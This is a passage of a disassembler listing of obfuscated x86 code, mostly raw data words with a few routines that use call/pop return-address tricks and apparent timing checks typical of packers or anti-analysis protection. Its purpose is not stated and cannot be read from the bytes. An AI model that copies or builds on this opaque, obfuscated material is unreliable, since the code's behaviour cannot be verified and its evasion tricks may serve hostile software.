		dd 0E90ABDB5h
		dd 8B535707h, 0E91275BDh, 81665F07h, 5E5BBCEFh,	0AB99529h
		dd 0B70F07E9h, 50006AFFh, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0C68768D3h, 53601103h
		dd 1AC18523h, 895B07E9h, 0E9264DB5h, 6E86107h, 4D000000h
		dd 0D0E18167h, 7D9D898Dh, 5F07E925h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0E5C35545h,	0F05F6275h, 91F37BF6h
		dd 1E5BBED3h, 840F63D9h, 6, 10818D29h, 0BD2907E9h, 7E90975h
		dd 269D9529h, 6AF907E9h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 9278C351h, 9973B932h
		dd 0F814E9CEh, 6AFFFFh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 6E930C3h, 62000000h, 7D782333h
		dd 890F1Ah, 8B000000h, 56006AC1h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0E10DE2BAh, 20BE6664h
		dd 0B86660B1h, 5E82C3Fh, 11000000h, 577A7C80h, 14DF8166h
		dd 0EB615FD5h, 4, 0CD8D8900h, 8907E913h, 0E92F89BDh, 858DF907h
		dd 7E90861h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	19C35141h, 335B58Bh, 8B9007E9h,	669050F1h, 1214C781h
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 0BD2ACDC3h, 663B4D7Dh, 6AFE8Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 81C35343h, 6B32A409h
		dd 48674E85h, 8DF38B5Fh, 0ED42A285h, 52006A07h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 81B48019h
		dd 8BFA8B66h, 0E91B81BDh, 5C08307h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 9C35343h, 85A48A41h, 0B70F6CE1h
		dd 0BD8B60F1h, 7E91FA1h, 61C0BF0Fh, 3185BD89h, 0E89007E9h
		dd 12h,	0C2AF0B4Fh, 0FA7384BCh,	84D51073h, 12D58E2Ah, 0FA8B8C3Eh
		dd 5057505Fh, 850F52h, 0F000000h, 5A5F5731h, 0E9905F58h
		dd 0Fh,	989FCBB9h, 3BF84F84h, 0D7593545h, 6A902F20h, 3830F00h
		dd 0F000000h, 6AFAB7h, 7E9h, 10097500h,	0C5C671EBh, 0FB995FFh
		dd 9D8D07E9h, 7ECD72Ch,	0BE8h, 0B4B07E00h, 8FEE8BF1h, 0EC5FEE5Bh
		dd 2FE5BD8Bh, 0FF5F07E9h, 50006AD3h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 1AE0029Eh
		dd 850Fh, 85FF0000h, 7E90F9Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 50C35343h, 0A13CCE0Bh, 859AEE1Ch
		dd 7D6E9h, 0E800h, 815D0000h, 0ED42ACEDh, 619D8907h, 8107E916h
		dd 0E92AD1BDh, 7D007h, 0C860F00h, 0E8000001h, 0Ch, 37E01506h
		dd 0A1F6E66Fh, 2A91B856h, 2CD1BD8Bh, 8B5F07E9h,	0E920199Dh
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0FEB70F60h, 100E381h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0F4CBE0C3h
		dd 0BA1B185h, 7D850FDBh, 8B000000h, 0E93209BDh,	0DBBD8307h
		dd 7ED40h, 17840Fh, 6FE90000h, 8B000000h, 2B6052FBh, 0E912E185h
		dd 2D950107h, 6107E919h, 0DB85C75Eh, 107ED40h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 9FD5C357h, 0F3478A22h, 2BE90CBDh,	6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0BF02C357h, 1C43BFEBh, 40DB85C7h,	7EDh, 9D8D0000h
		dd 7E92019h, 6E9h, 3B071100h, 81BAEAAAh, 0FFFEFF23h, 66F78BFFh
		dd 6ADB8Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 66A97EC3h, 0C3F6F98Bh, 3E840F04h,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0CCD6C351h, 0FFA553F1h, 0E9005995h, 91B58B07h
		dd 5007E935h, 0B5525060h, 8B310F60h, 61585AF1h,	8B240489h
		dd 407E9F1h, 0BD8B0000h, 7E92195h, 6A00B0h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 173FF3C3h
		dd 5284F300h, 30698D89h, 0BF5F07E9h, 5BDFD6B6h,	84C68166h
		dd 6A70E6BBh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 4CC9C356h, 0A36CDE00h,	2B71E4F8h
		dd 0E917D5B5h, 0D8B60F07h, 1D29B50Bh, 6BA07E9h,	2B000000h
		dd 0E9013DBDh, 66C38B07h, 1842EE81h, 8104E8C1h,	393A46C7h
		dd 0E2F76640h, 243DBD8Bh, 0B58907E9h, 7E90B15h,	0F781D82Bh
		dd 6A905654h, 0F88B6693h, 66525050h, 310FF38Bh,	585A5E53h
		dd 50006A93h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 0D1B5FF5Ch, 6A07E92Ah, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0A0EBC353h
		dd 42EA405h, 0D4BF32DBh, 0FF1D3070h, 0E90C3195h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 9D01D734h, 7E91199h,	0EE800B0h, 0E1000000h, 0EE0A0038h
		dd 39253B18h, 0DCB42D53h, 718D2945h, 5F07E905h,	6A70E6h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0F6BFAEC3h, 71EF8166h, 2840F6Ah, 8B000000h, 6A71E4F0h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 8F63C355h, 1FADB58Bh, 0BD8B07E9h,	7E90C79h
		dd 830F613Ch, 265h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 82C35747h, 68B0F77h, 89000000h, 0E90711BDh
		dd 0C1BD8B07h, 0F07E921h, 0B589D8B6h, 7E93501h,	6BAh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 8BB2A570h, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0F6816687h, 0E8C1FE82h, 59BD8B04h
		dd 6607E91Dh, 6AE2F7h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0BB0EB6C3h, 0CCA31930h, 0F78B7C8Ch
		dd 9359509h, 0D82B07E9h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 14h, 0EBC35242h, 6A585F57h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 2BFEC355h
		dd 6A880FD8h, 53000001h, 0BE8h,	0BCDC200h, 0B4234F35h
		dd 7DFCF83Ah, 225167BFh, 0B95F5F33h, 7,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 19h, 7BC35343h, 728D42DCh
		dd 25BD03A1h, 6607E90Fh, 0C183F78Bh, 0D7816600h, 0D93B788Dh
		dd 113860Fh, 81660000h,	60AB58D7h, 2A959D89h, 858B07E9h
		dd 7E90909h, 0D98C6661h, 831BD89h, 0C1F607E9h, 0DE840F04h
		dd 8B000000h, 0E907E5B5h, 5995FF07h, 6A07E900h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0F5A3C353h, 66EA5501h, 6A5BF18Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 85B1C351h
		dd 0FBBDF06Ch, 8ADBCE81h, 9529147Ah, 7E909B9h, 1FEDBD8Bh
		dd 0C32B07E9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	38C35242h, 89FFBF0Fh, 0E92EED9Dh, 8343D07h, 860F0000h
		dd 49h,	21819D89h, 4EE907E9h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0BF9FC355h
		dd 9F806A31h, 0FC07A27h, 12E9F6B7h, 0BE000000h,	59F5EB04h
		dd 56B66A17h, 0D7A8E2B7h, 0B57BE0A9h, 0E9C08B81h, 9, 951388F3h
		dd 8CE5AA5Ch, 8BC38B07h, 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0FA8B8084h, 0C8D85C7h
		dd 5F3D07E9h, 6A74B4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 8B322CC3h, 0E92CB5BDh, 0BE907h
		dd 50E50000h, 8B766E5Eh, 6F28FC55h, 6AC08B21h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 8595C356h, 0AA89CD48h, 81F4CAA0h, 0E92AD1BDh, 7D007h
		dd 12850F00h, 8B000000h, 0E90C29B5h, 0D185FF07h, 8907E92Ah
		dd 0E92585B5h, 0D1B5FF07h, 0F07E92Ah, 682h, 89CE8100h
		dd 0FF3DDFBDh, 0E90C3195h, 0DB58B07h, 9007E90Fh, 7E59589h
		dd 858907E9h, 7E91C55h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 0DBC35646h, 5079B958h, 0DA49202h, 6AF8BF0Fh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 77C4C355h, 0CE8E788h, 5E000000h, 0E96D97EBh
		dd 8FEF0D7h, 89387165h,	0E91B6585h, 95895E07h, 7E90089h
		dd 2F61B58Bh, 0BF6607E9h, 6A0F05h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0B3E47FC3h, 8509FCB3h
		dd 7E90031h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	0F1C35646h, 0E928A61Eh,	0B58BFCC4h, 7E91359h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 52C35343h, 2095B529h
		dd 0BF0F07E9h, 8BF88BF0h, 0E92ABDB5h, 0D6816607h, 6A385Eh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 7C26C8C3h, 5C64ACA0h, 3BE662Bh, 13E984h, 85840000h
		dd 14B39781h, 6704EA34h, 2AC73D6Eh, 61AA80EFh, 56E9F859h
		dd 6AFFFFF8h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 53DCC353h, 33E32C66h, 0E92D39B5h
		dd 0A9B50B07h, 6007E90Dh, 1605B58Bh, 0FEB907E9h, 8BFFFFFFh
		dd 1D8D21DEh, 6A07E918h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0E3A1C357h,	0F3C2842Dh
		dd 0B589654Eh, 7E92221h, 1DD98D21h, 6A07E9h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 7E50C5C3h
		dd 958B359Ah, 7E93145h,	8D8BC38Bh, 7E9181Dh, 2D58D29h
		dd 0E18307E9h, 2850F01h, 8A000000h, 0D98D8BE7h,	6A07E91Dh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 9846C350h, 34419D8Bh, 0E18307E9h,	6850F01h
		dd 1000000h, 0E9260D9Dh, 0F606107h, 58Dh, 8B665300h, 0C8815FFEh
		dd 6E9CE2D4h, 0FFFFFEB9h, 899589FFh, 2107E90Fh,	0E911B98Dh
		dd 0B5016007h, 7E91171h, 35919529h, 0F6107E9h, 1682h, 11E900h
		dd 0FE7E0000h, 0D0BEA18Eh, 0EBB58580h, 0E98044A4h, 21012C2Ch
		dd 0E91E5D8Dh, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 8BE78AF9h, 0E911B98Dh
		dd 499D2907h, 8307E935h, 850F01E1h, 5, 8BF98B66h, 5D8D8BC7h
		dd 3107E91Eh, 0E90C8585h, 1E18307h, 17850Fh, 12E90000h
		dd 0E000000h, 62020000h, 0AFF4C5F6h, 0EE5CB9D5h, 0B9E89CDAh
		dd 6A606169h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 8B96C356h, 0E9265D9Dh,	0FFFEB907h
		dd 6AFFFFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0EAA3CFC3h, 0BDB53379h, 2107E92Fh, 0E92FE18Dh
		dd 999D8B07h, 2107E90Dh, 0E919118Dh, 51006A07h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 95896A8Bh
		dd 7E92A8Dh, 8D8BE78Ah,	7E92FE1h, 13E8h, 129DEC00h, 31E97F36h
		dd 0D411FC6Ch, 0EC4B6757h, 2379AA48h, 1F1958Bh,	835B07E9h
		dd 850F01E1h, 6, 298DBD29h, 8D8B07E9h, 7E91911h, 0E0B7DA81h
		dd 0E1831ECAh, 0B850F01h, 0F000000h, 585h, 0E3816600h
		dd 606180FFh, 0EE59529h, 0FEB907E9h, 6AFFFFFFh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 6A10C350h, 3AB19CF9h, 212CA453h, 0E90C8D8Dh,	51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 71ECC27Fh, 58C7CB81h, 8D211D85h, 7E92019h, 1FF1858Bh
		dd 0B58907E9h, 7E9025Dh, 0C8D8D8Bh, 0E18307E9h,	1C850F01h
		dd 0F000000h, 1689h, 0CE800h, 0A1590000h, 0D2D8217h, 8119AE52h
		dd 0BA66B4A3h, 8B5B8EEEh, 0E920198Dh, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 50D648E8h, 83FC5AF9h, 850F01E1h, 38h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 18h, 0FAC35747h, 88FFB8C4h
		dd 13E9h, 1FC4EF00h, 0CE0FB28Ah, 63F27E78h, 6218CF86h
		dd 0B25D74E4h, 6A6061h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0B5E78AC3h, 0F3B24655h, 8166E33Eh
		dd 0C7CFC4C7h, 0E92AD185h, 7D007h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0DA74DBD6h
		dd 9D89057Ah, 7E91255h,	35918D03h, 6A6107E9h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 8715C357h, 3528B2ADh, 0B52906CEh, 7E91E0Dh, 9D6107EBh
		dd 0E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 3DD8F65Fh, 6E11F81h, 2ECC80FFh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 66C35242h, 4B03A0F9h
		dd 34B98D8Bh, 8BF807E9h, 75E9C1h, 66600000h, 4A8D88Ch
		dd 35840Fh, 16A0000h, 2669B5FFh, 858D07E9h, 7EC9FDBh, 8589D0FFh
		dd 7E912E5h, 0EFC1FE8Bh, 680Ch,	6A2004h, 6857026Ah, 1000Dh
		dd 12E595FFh, 32E907E9h, 0C6000000h, 0E9265985h, 0DF685607h
		dd 0FFA9C530h, 0E90B11B5h, 0DB858D07h, 0FF07EC9Fh, 2D8589D0h
		dd 8D07E91Bh, 0E9258985h, 206A5007h, 0FF56056Ah, 0E91B2D95h
		dd 0C1C36107h, 4FEB06E0h, 0FA251C8Fh, 0C6A108ABh, 1CA4ACDAh
		dd 5C5CD2D4h, 34CE00E4h, 0CE1BF531h, 0D129B327h, 0C7DD5B34h
		dd 0CE17E62Ah, 6734DF1Bh, 8400A6DBh, 9F00436Eh,	0DC80BAh
		dd 54000000h, 0FEB61Bh,	0FBFE3600h, 87000000h, 2352DDB4h
		dd 19ED920h, 0E97C809Eh, 11E9h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 81C35545h, 8B60376Eh, 0E90E31BDh
		dd 61C78A07h
		dd 1B69BD83h, 0F0007E9h, 9D85h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 7F182295h
		dd 0F52B911Bh, 188A0Fh,	10E80000h, 0F9000000h, 7DCDF413h
		dd 677612DDh, 7D74660h,	50A85651h, 0B85959h, 0E8000000h
		dd 14h,	0D68A92Fh, 2EBDB55Fh, 70AA7903h, 0FA40F039h, 753DA402h
		dd 97927CBAh, 4C25A64h,	57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 5351C3F5h, 2B818D89h
		dd 595907E9h, 60F88B66h, 89DEEF80h, 0E9106DBDh,	0C08B6107h
		dd 12E9h, 4EA00E00h, 65A4EAD4h,	7E14CD15h, 281E1B76h, 83459D31h
		dd 0E918A5BDh, 9750007h, 1A45BD83h, 740007E9h, 8B535013h
		dd 4D0B8C0h, 9D8D0000h,	7EBD5A2h, 585BD3FFh, 1A45BD83h
		dd 740007E9h, 0B8535011h, 4D0h,	0D4EF9D8Dh, 0D3FF07EBh
		dd 0BD29585Bh, 7E92201h, 12E8C08Bh, 0E0000000h,	5533BCDFh
		dd 5428CBD4h, 0DD2FA3C2h, 693759Ch, 75952949h, 5907E912h
		dd 2FA1BD89h, 858D07E9h, 7ED4F71h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0A0C35040h,	0DA91C8E0h, 0EE9h
		dd 0BE5BBF00h, 0CAFDF6EAh, 3DDDD60Fh, 50C92CB4h, 13E8h
		dd 35EFF00h, 0E235E4A9h, 20D2E9AEh, 46207810h, 0C40C1E97h
		dd 895A7EB6h, 85292404h, 7E90DD5h, 4F2E858Dh, 6A07EDh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0E806C8C3h, 0Bh, 0E4009226h,	6B0A9712h, 8BE45B7Dh, 0E90F49BDh
		dd 9D895907h, 7E9209Dh,	894FB650h, 0BD892404h, 7E91661h
		dd 17E195FFh, 8D8907E9h, 7E91AE9h, 424448Bh, 89CFB70Fh
		dd 0ED4F5985h, 12E907h,	0F1B0000h, 8DB7B791h, 0D885A515h
		dd 11222462h, 0C933F042h, 824448Bh, 0FB8B6652h,	918D8B59h
		dd 8907E920h, 0ED4F6D85h, 0B98D8B07h, 8307E921h, 0E92EDDBDh
		dd 850F0007h, 0D0h, 68E0Fh, 850F0000h, 0
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+7E92659h], 47h
		push	0
		push	esi
		call	sub_5C8FB2
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C8FB2	proc near		; CODE XREF: sdfs____:005C8FAAp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5C8FB2	endp

; ---------------------------------------------------------------------------
		dw 68A5h
		dd 32B04C59h, 6866B99Fh, 9389AABAh, 48C0Fh, 51510000h
		dd 4815959h, 10FD1824h,	6870F41h, 1000000h, 0E9310DBDh
		dd 11B5FF07h, 6A07E90Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0FFA9C356h,	0E99D2973h
		dd 0E807E91Bh, 0Dh, 0DD006133h,	4D3A13B7h, 0CE7C5442h
		dd 0CB8B66EFh, 0DB858D5Ah, 6A07EC9Fh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 88F1C356h
		dd 89D623D1h, 1071B589h, 0D0FF07E9h, 2EDD8589h,	0D4B507E9h
		dd 2489BD83h, 0F0007E9h, 0DE85h, 0B70FF800h, 5985C6D6h
		dd 4707E926h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 14h,	0DDC35141h, 0E483CA81h,	4E8323Ch, 0E2000000h, 8A8A0FB5h
		dd 0C88B50CEh, 424448Bh, 0E2BA5250h, 0F7D6556h,	51525031h
		dd 0F310F5Ah, 8Fh, 5A585A00h, 8B008B58h, 244489FBh, 58FA8B04h
		dd 0DE9h, 4D6F8400h, 0C4CC5B25h, 59B2641Ah, 0DE807916h
		dd 11B5FF79h, 6A07E90Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 87F7C353h, 850160FFh
		dd 7E90321h, 0DB858D61h, 6A07EC9Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 3FC8C352h
		dd 124F852h, 0E91DCD85h, 89D0FF07h, 0E900F995h,	89858907h
		dd 8307E924h, 0E90145BDh, 850F0007h, 92h, 1C29958Bh, 85C607E9h
		dd 7E92659h, 68FE8B56h,	0B145F7EBh, 0B8E0Fh, 50600000h
		dd 5A310F52h, 0C68B6658h, 24048161h, 22D9754Eh,	11B5FFFCh
		dd 6007E90Bh, 15658D8Bh, 0C28A07E9h, 12E68061h,	9FDB858Dh
		dd 7E907ECh, 26000000h,	8C105486h, 0D0FFC8C0h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0B2C35646h, 3104AC40h
		dd 0EE6A7FA1h, 0F88B66B8h, 54EA8166h, 458589FBh, 0F07E901h
		dd 58Ah, 0E7816600h, 85C6AA38h,	7E92659h, 0AD85896Ch, 0E807E91Eh
		dd 4, 0DB057083h, 0F98B6650h, 424448Bh,	0D63BF66h, 5250008Bh
		dd 0FF88B66h, 5ACE8B31h, 24448958h, 7E804h, 0BC3F0000h
		dd 9D54A913h, 76B8604Ah, 8A2E159Dh, 585F61C3h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 5CC35646h, 7185A0Bh
		dd 2669B5FFh, 8DF907E9h, 0E93ABC85h, 27C1BA07h,	0D0FF2982h
		dd 29D1BD8Bh, 858907E9h, 7ED4F5Dh, 35498509h, 0BD8307E9h
		dd 7ED4F79h, 0AF850F00h, 8B000000h, 0E925298Dh,	6830F07h
		dd 29000000h, 0E90C1185h, 5985C607h, 4907E926h,	3810Fh
		dd 8B660000h, 4E8CEh, 29E90000h, 0B9668C15h, 0B250AB98h
		dd 24448B3Ah, 11E904h, 172D0000h, 0A4968C1Eh, 9DA11F41h
		dd 0A5D573B5h, 8BFFFF45h, 118B900h, 44894F9Bh, 0F78A0424h
		dd 0FFC88B58h, 0E92669B5h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0BE13BBFFh
		dd 0AE9h, 23F7800h, 253057F7h, 8D26D940h, 0E93ABC85h, 0ED958907h
		dd 0FF07E90Eh, 31C3BFD0h, 85891807h, 7ED4F79h, 21C19589h
		dd 46A07E9h, 6800Fh, 0BD8B0000h, 7E90CF9h, 4E8h, 100000h
		dd 8E900h, 0F1580000h, 0EEBDF567h, 8B50EDC9h, 50042444h
		dd 52506052h, 585A310Fh, 830Fh,	0F610000h, 5AD78B31h, 89008B58h
		dd 8A042444h, 6A58D3h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 738EEC3h, 904882A8h, 14E881C3h
		dd 33000000h, 5842E9FEh, 438A536h, 0CE95153Dh, 958EEA26h
		dd 66432FE9h, 5A1D4DBFh, 8502E6BAh, 5C266870h, 5250AD46h
		dd 0F525060h, 61585A31h, 0DEB9310Fh, 5A59DA3Fh,	24048158h
		dd 52BAA3DAh, 2341B529h, 8A0F07E9h, 6, 2EB18D09h, 6A07E9h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 15C35141h
		dd 95FFF5F9h, 7E91B01h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0D9C35141h, 457AB6Dh,	82F49272h, 6985899Ch
		dd 0F07ED4Fh, 85C7FEB7h, 7ED4F61h, 0
; ---------------------------------------------------------------------------
		push	eax
		and	edi, [ebp+7E91609h]
		pop	ecx
		push	0
		push	0
		push	ecx
		call	sub_5C946D
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C946D	proc near		; CODE XREF: sdfs____:005C9465p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5C946D	endp

; ---------------------------------------------------------------------------
		db 7Ah,	84h, 9
; ---------------------------------------------------------------------------
		xchg	eax, ebp
		xchg	eax, ecx
		db	26h
		jmp	loc_617C8F
; ---------------------------------------------------------------------------
		dd 0
		dd 8F0F0001h, 0
		dd 8BCB8A50h, 0E8042444h, 10h, 99E32D10h, 18636C9Eh, 2F9F3896h
		dd 0FF405BD9h, 60008B5Ah, 61D88B66h, 4244489h, 11E8h, 0FEAA8700h
		dd 0F7C78002h, 33C57F02h, 0BA60CB0Ch, 8B66E6CAh, 8B585FFBh
		dd 0E935018Dh, 52505007h, 38F0Fh, 8B660000h, 8B310FD7h
		dd 89585AD1h, 0F5802404h, 88DA81AFh, 6A241A37h,	138A0F0Bh
		dd 0E8000000h, 0Bh, 96E534C5h, 3F333E43h, 5672A857h, 858D5F5Fh
		dd 7ED4F36h, 20860F90h,	0E8000000h, 0Ch, 0A4B60819h, 0B43C1361h
		dd 7C8A89EDh, 8E8h, 239AB400h, 0D17684D1h, 505F5F01h, 11E95250h
		dd 93000000h, 1DA093EFh, 7D2298EDh, 19B1ED0Ch, 0F385CE32h
		dd 0E960310Fh, 9, 0EE3729F7h, 0D2C16E83h, 585A6188h, 53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 653726E5h, 0B85B71C6h, 3DBD8BDCh, 0E907E90Ch, 0Ch, 68F8D660h
		dd 92ADE732h, 0F20BD415h, 2EDD95FFh, 853107E9h,	7E90DC5h
		dd 4F40B58Dh, 6A07EDh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 1DE411C3h, 0E9520809h, 0Ah, 42E87F2Fh
		dd 0EB669821h, 505F05FFh, 5E9h,	1285F700h, 3489CD8Eh, 50C88B24h
		dd 48B0Fh, 0BF660000h, 48995FFh, 52006A24h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 8FBB1B19h
		dd 958B516Eh, 7E93441h,	8995FF5Fh, 6A07E924h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0FF7C353h, 80FD7E3Dh, 0C00BB7D1h, 11850Fh, 950B0000h
		dd 7E926B1h, 6CEE9h, 0A98D8900h, 0FF07E900h, 8BD78BD0h
		dd 0ED4F69B5h, 20468D07h, 1A098D89h, 46A07E9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 2DC35141h, 704B3B96h
		dd 0BD8B5790h, 7E91209h, 0C18D8B59h, 9007E919h,	0FE8h
		dd 0DBA8C600h, 0A4CF4256h, 6B8A3E68h, 0B5876DFDh, 505AAFB5h
		dd 32D183BAh, 6A9032h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 60BBDAC3h, 0BD31C18Bh, 7E90981h
		dd 7995FF61h, 6A07ED4Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0D2B7C355h,	8C44B0EEh
		dd 898220D4h, 0E923D1BDh, 0FC00B07h, 3184h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 34DDD72Ch, 0DA81667Dh, 0DCE9DE1Ch, 66000005h, 0F467C781h
		dd 7E80D68Bh, 840F0020h, 5CBh, 1958D09h, 236007E9h, 0E92A51BDh
		dd 20468D07h, 0BD8BCF8Ah, 7E911C5h, 4F658589h, 0D68007EDh
		dd 1A0E950h, 81660000h,	403B25CFh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0B3C35747h,	5790D18Bh, 47FCB966h
		dd 6060505Ah, 14E95E51h, 2F000000h, 0FCA19CC9h,	7344B574h
		dd 0EBF52D3Ah, 0A5486D64h, 6118725Ah, 6A9061h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0BD8058C3h, 92E1F3CBh, 1EEDBD03h, 0FE907E9h,	0E8000000h
		dd 0C83B9DF7h, 99EA43E2h, 0CF012FB7h, 46A02EDh,	0E856006Ah
